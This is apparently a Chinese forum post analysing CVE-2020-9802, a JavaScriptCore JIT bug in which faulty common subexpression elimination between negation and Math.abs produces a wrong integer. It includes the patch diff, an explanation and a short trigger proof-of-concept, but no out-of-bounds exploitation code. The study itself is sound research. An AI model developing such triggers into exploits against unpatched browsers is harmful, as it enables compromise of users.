首页
社区
课程
招聘
1
[原创] CVE-2020-9802:Incorrect CSE for ArithNegate, leading to OOB accesses
发表于: 2024-4-17 13:25 8203

[原创] CVE-2020-9802:Incorrect CSE for ArithNegate, leading to OOB accesses

2024-4-17 13:25
8203

@

目录

前言

最近尝试阅读 DFG jit 相关源码,但是无从下手,网上资料甚少并且代码量巨大,所以笔者对应 JSC 的学习路线还是从相关 CVE 中去学习一些有关 JSC 的基础知识,这里逐渐积累,等到合适的时候,再去尝试阅读源码,该漏洞比较老了,但是复现漏洞不是目的,重要的是学习一些知识

复现这个漏洞主要是学习下 CSE 优化这个知识点,其实挺简单的。CSE 即公共子表达式消除,其主要的操作就是将多个相同的表达式替换成一个变量,这个变量存储着计算该表达式后所得到的值,考虑如下代码:

1
2
let a = b * c + g;
let d = b * c + e;

上述代码可能会被优化成如下代码:

1
2
3
let temp = b * c;
let a = temp + g;
let d = temp + e;

这样就避免了 b * c 表达式的重复运算,但是并非所有情况下都可以进行 CSE 优化,考虑如下代码:

1
2
3
let a = obj.x
f();  // <===== side effect
let b = obj.x

这里我们就不可以将其优化为如下代码:

1
2
3
4
let temp = obj.x;
let a = temp;
f();   // <===== side effect
let b = temp;

理由很简单,f() 存在 side effect,即 obj 对象可能在 f() 中被修改,比如如下代码:

1
2
3
4
5
6
7
function f() {
        obj.x = 2;
}
let obj = {x:1};
let a = obj.x; // a = 1
f();    // <====== change obj.x
let b = obj.x; // a = 2

如果这里将其优化,则导致 a = b = 1 从而出现错误,那么 JIT 编译器是如果判断公共子表达式是否可以进行消除呢?对于 JSC 而言,其会在 DFG 阶段收集相关信息,然后在 FTL 阶段利用收集的信息判断是否进行 CSE 优化,收集信息阶段主要在 DFGClobberize 函数中进行,这个我们后面再看。

环境搭建

手动引入 patch 然后编译即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
diff --git a/Source/JavaScriptCore/dfg/DFGClobberize.h b/Source/JavaScriptCore/dfg/DFGClobberize.h
index b2318fe03aed41e0309587e7df90769cb04e3c49..5b34ec5bd8524c03b39a1b33ba2b2f64b3f563e1 100644 (file)
--- a/Source/JavaScriptCore/dfg/DFGClobberize.h
+++ b/Source/JavaScriptCore/dfg/DFGClobberize.h
@@ -228,7 +228,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFu
 
     case ArithAbs:
         if (node->child1().useKind() == Int32Use || node->child1().useKind() == DoubleRepUse)
-            def(PureValue(node));
+            def(PureValue(node, node->arithMode()));
         else {
             read(World);
             write(Heap);
@@ -248,7 +248,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFu
         if (node->child1().useKind() == Int32Use
             || node->child1().useKind() == DoubleRepUse
             || node->child1().useKind() == Int52RepUse)
-            def(PureValue(node));
+            def(PureValue(node, node->arithMode()));
         else {
             read(World);
             write(Heap);

漏洞分析

可以看到上述补丁主要打在了 clobberize 函数中,通过前面的铺垫,可以知道这里应该就是 DFG 收集相关信息时出现错误,从而导致在 FTL 阶段发生错误的优化,定位到源码:

这里代码很长,所以只需要定位关键代码即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
template<typename ReadFunctor, typename WriteFunctor, typename DefFunctor, typename ClobberTopFunctor>
void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFunctor& write, const DefFunctor& def, const ClobberTopFunctor& clobberTopFunctor)
{
......
    case ArithAbs:
        if (node->child1().useKind() == Int32Use || node->child1().useKind() == DoubleRepUse)
            def(PureValue(node));
            //def(PureValue(node, node->arithMode()));
        else
            clobberTop();
        return;
......
    case ArithNegate:
        if (node->child1().useKind() == Int32Use
            || node->child1().useKind() == DoubleRepUse
            || node->child1().useKind() == Int52RepUse)
            def(PureValue(node));
            //def(PureValue(node, node->arithMode()));
        else
            clobberTop();
        return;
......

这里可以看到 patch 代码仅仅给 PureValue 函数添加了一个参数 node->arithMode(),这里根据 p0 的文章可以知道:

The def() of the PureValue here expresses that the computation does not rely on any context and thus that it will always yield the same result when given the same inputs. However, note that the PureValue is parameterized by the ArithMode of the operation, which specifies whether the operation should handle (e.g. by bailing out to the interpreter) integer overflows or not. The parameterization in this case prevents two ArithMul operations with different handling of integer overflows from being substituted for each other. An operation that handles overflows is also commonly referred to as a “checked” operation, and an “unchecked” operation is one that does not detect or handle overflows.

加上 node->arithMode() 表示说具体不同整数溢出处理方式的操作不能替换,然后操作根据是否检查溢出分为 checked operationunchecked operation

所以这里的漏洞就比较明显了,def(PureValue(node)); 表示能否进行替换只与输入的值有关,对于 ArithNegate 而言,其是 unchecked operation,当 value = TYPE_MIN 时会发生溢出,即 -TYPE_MIN = TYPE_MIN;对于 ArithAbs 而言,其是 checked operation,当 value = TYPE_MIN 时,其会进行符合扩展去处理溢出情况,所以 abs(TYPE_MIN) = |TYPE_MIN|;而 ArithNegateArithAbs 操作是可以产生相同的效果的,比如 -(-1) = abs(-1),所以对于如下代码是可以进行优化的:

1
2
3
4
5
let a = -(-1) = 1;
let b = abs(-1) = 1;
==>
let a = -(-1) = 1;
let b = a = 1;

上面优化看似不存在问题,但是当发生溢出时就会出现问题,比如如下代码:

1
2
3
4
5
let a = -TYPE_MIN = TYPE_MIN;
let b = abs(TYPE_MIN) = |TYPE_MIN|;
==>
let a = -TYPE_MIN = TYPE_MIN;
let b = a = TYPE_MIN

可以看到这里优化 CSE 优化导致 b 的值发生错误,其本来应该为 |TYPE_MIN|,但是编译器却认为其为 TYPE_MIN,其实这就是这个漏洞的全部原理了

poc 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function f(n) {
        if (n < 0) {
                let a = -n;
                let b = Math.abs(n);
                return b;
        }
        return 0;
}
 
 
for (let i = 0; i < 0xd0000; i++) {
        f(-2);
}
 
print(f(-0x80000000));
// output: -2147483648

可以看到这里输出的 b = -2147483648 = -0x80000000,来简单看看字节码

首先看看 f 产生的字节码:

1
2
3
4
5
6
7
8
9
10
11
12
[   0] enter
[   1] jnless           lhs:arg1, rhs:Int32: 0(const0), targetLabel:49(->50)
[   5] mov
[   8] mov
[  11] negate           dst:loc5, operand:arg1, profileIndex:0, resultType:126
[  16] resolve_scope
[  23] get_from_scope
[  32] get_by_id
[  38] mov
[  41] call             dst:loc6, callee:loc7, argc:2, argv:16, valueProfile:3
[  48] ret
[  50] ret              value:Int32: 0(const0)

[招生]科锐逆向工程师培训(2025年3月11日实地,远程教学同时开班, 第52期)!

最后于 2024-4-17 13:40 被XiaozaYa编辑 ,原因:
收藏
免费 1
支持
分享
赞赏记录
参与人
雪币
留言
时间
PLEBFE
为你点赞~
2024-5-31 01:29
最新回复 (1)
雪    币: 3972
活跃值: (31426)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2024-4-18 09:04
1
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册